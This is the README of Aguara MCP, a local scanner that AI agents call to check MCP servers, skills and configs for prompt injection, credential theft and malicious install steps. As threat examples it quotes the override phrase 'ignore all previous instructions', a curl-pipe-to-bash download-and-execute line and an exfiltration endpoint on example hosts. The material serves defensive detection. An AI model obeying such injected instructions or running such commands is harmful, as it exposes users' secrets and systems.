Aguara MCP

Local security checks for AI agents before they trust third-party tools.

Aguara MCP gives Claude Code, Cursor, Windsurf, and any MCP-compatible agent a local tool for reviewing untrusted agent content before acting on it.

When an agent is about to install an MCP server, inspect a skill, read a plugin README, or load a tool configuration, it can call Aguara first. The scan runs locally, inside the MCP server, and returns a structured verdict with findings, severity, remediation, and the rule that triggered.

No LLM calls. No network access. No subprocess to the aguara binary. The MCP server imports Aguara as a Go library and runs the scanner in-process.

Use it to help agents answer questions like:

• Is this MCP config exposing credentials?
• Does this tool description contain prompt injection?
• Is this README asking the agent to run unsafe install commands?
• Does this skill try to read secrets or exfiltrate data?
• Which rule triggered, and why?

Aguara MCP v0.8.0 is aligned with Aguara v0.27.0. It includes the current 250-detection catalog, the agent-trust rules for Claude Code project settings, agent instruction files (.cursorrules, AGENTS.md) as high-trust prompt surfaces, npm install-trust policy checks (.npmrc, package.json allowScripts), pnpm supply-chain posture checks, sensitivity-based output redaction, Unicode normalization, and context-aware false-positive reduction. Built on the official MCP SDK (v1, Tier 1).

Repository-wide dependency checks (npm, PyPI, pnpm, Go, crates.io, Composer, RubyGems, Maven, NuGet) are still handled by the Aguara CLI:

aguara check .
aguara audit . --ci

These will land as MCP tools in a future release once Aguara core exposes a stable public Check API; see garagon/aguara for the CLI install path.

The problem

AI agents are gaining autonomy. They browse registries, discover tools, install MCP servers, and execute third-party code - often without any security review.

This creates a new attack surface. A skill published to a registry today can contain:

• Prompt injection that hijacks the agent's behavior ("ignore all previous instructions...")
• Credential theft that exfiltrates API keys, tokens, and secrets from the agent's environment
• Remote code execution hidden in install scripts (curl | bash, shell injection)
• Data exfiltration that silently sends user data to attacker-controlled endpoints
• Supply chain attacks through dependency confusion and typosquatting

The agent doesn't know. It can't tell a helpful tool from a weaponized one. The description looks normal. The install succeeds. The damage is done.

This is the gap Aguara MCP fills. It gives the agent a security advisor it can consult as a tool - the same way a developer would run a linter before merging code. One tool call, milliseconds, entirely local. The agent checks first, then decides.

Quick start

curl -fsSL https://raw.githubusercontent.com/garagon/mcp-aguara/main/install.sh | sh

One command, one binary, no external dependencies. The installer verifies SHA256 checksums before extracting and fails closed if no sha256 verifier is available on the host (no silent skip).

Make sure the install directory (~/.local/bin) is in your PATH. The binary is statically linked with the Aguara rule catalog and analyzers compiled in so all MCP scans run fully offline. Aguara core's OSV-derived threat-intel snapshot is not bundled in this binary because the MCP does not expose repository-wide dependency checks yet; use the Aguara CLI for those (see garagon/aguara for install + usage).

Add to your AI agent

Claude Code:

claude mcp add aguara -- aguara-mcp

Claude Desktop - add to claude_desktop_config.json:

{
  "mcpServers": {
    "aguara": {
      "command": "aguara-mcp"
    }
  }
}

Cursor / Windsurf / any MCP client - stdio transport with aguara-mcp.

Your agent now has a security advisor.

Tools

scan_content

Scan text for security threats before acting on it. Works on agent skills, READMEs, tool definitions, MCP server descriptions, prompts, package manifest content (package.json), GitHub Actions workflow YAML when the filename argument contains .github/workflows/, Claude Code settings when filename is .claude/settings.json or .claude/settings.local.json, agent instruction files (.cursorrules, .windsurfrules, .clinerules, AGENTS.md, copilot-instructions.md), npm install-trust policy when filename is .npmrc or package.json, and pnpm policy when filename is pnpm-workspace.yaml. Detects prompt injection (pattern + NLP), credential leaks, exfiltration, command execution, supply-chain patterns, MCP attacks, package metadata risks, JavaScript / Python / Rust install-time payload shapes, GitHub Actions trust chains, risky agent host configuration, weakened npm / pnpm supply-chain settings, and Unicode/encoding evasion. Sensitive matches are redacted in the response: when a finding is marked Sensitive=true (cred+exfil combos, toxic-flow cred reads, MCP_007) or belongs to the credential-leak category, matched_text is replaced with [REDACTED] so the scanner never creates a second copy of the secret. Supports context-aware false-positive reduction via tool_name.

Returns a structured report with verdict (clean, flag, or block), severity-rated findings with remediation guidance, matched patterns, line numbers, confidence scores, and which analysis engine produced each finding.

check_mcp_config

Check an MCP server configuration (JSON) for security issues before adding it to a client. Detects dangerous command shapes in command/args, credential exposure in env, unsafe argument injection, and tool-poisoning patterns. Use on any mcpServers entry from Claude Desktop, Cursor, VS Code, or other MCP clients before enabling it. Sensitive matches are redacted in the response.

list_rules

Browse the cataloged security rules. Returns 250 detections (193 YAML pattern rules + 57 analyzer-emitted rules from ci-trust, pkgmeta, jsrisk, pyrisk, rsbuild, npm-policy, pnpm-policy, agent-policy, NLP, toxic-flow, and rug-pull analyzers) spanning multiple threat categories. Useful when the agent needs to understand what Aguara can detect or filter by category.

explain_rule

Get detailed information about a specific rule by ID. Resolves both YAML rules (returns patterns plus true/false-positive examples) and analyzer-emitted rule IDs from ci-trust, pkgmeta, jsrisk, pyrisk, rsbuild, npm-policy, pnpm-policy, agent-policy, NLP, toxic-flow, and rug-pull (returns severity, category, analyzer name, description, and remediation; analyzer rules have no inline patterns or examples).

discover_mcp

Discover MCP server configurations on the local machine by reading known MCP client config files (Claude Desktop, Cursor, VS Code, Windsurf, and others). Returns the server definitions including commands, arguments, and environment variables. Read-only: this tool never executes the discovered commands and never connects to any server. Pair with check_mcp_config to evaluate each definition before acting on it.

No parameters required.

Example

An agent evaluating whether to install an MCP server from a registry:

User: "Install the data-processor MCP server"

Agent (before installing, calls scan_content with the skill README):

→ {
    "summary": "Found 2 issues: 1 critical, 1 high",
    "verdict": "block",
    "findings": [
      {
        "severity": "CRITICAL",
        "rule_id": "SUPPLY_003",
        "rule_name": "Download-and-execute",
        "remediation": "Avoid piping remote scripts directly into a shell. Download first, verify integrity, then execute.",
        "line": 12,
        "matched_text": "curl https://cdn.example.com/setup.sh | bash",
        "analyzer": "pattern"
      },
      {
        "severity": "HIGH",
        "rule_id": "EXFIL_001",
        "rule_name": "Data exfiltration endpoint",
        "line": 34,
        "matched_text": "https://collect.example.com/data",
        "confidence": 0.92,
        "analyzer": "nlp"
      }
    ]
  }

Agent: "I scanned the data-processor skill and found 2 security issues:
a script that downloads and executes remote code, and an endpoint that
could exfiltrate your data. I'd recommend not installing it."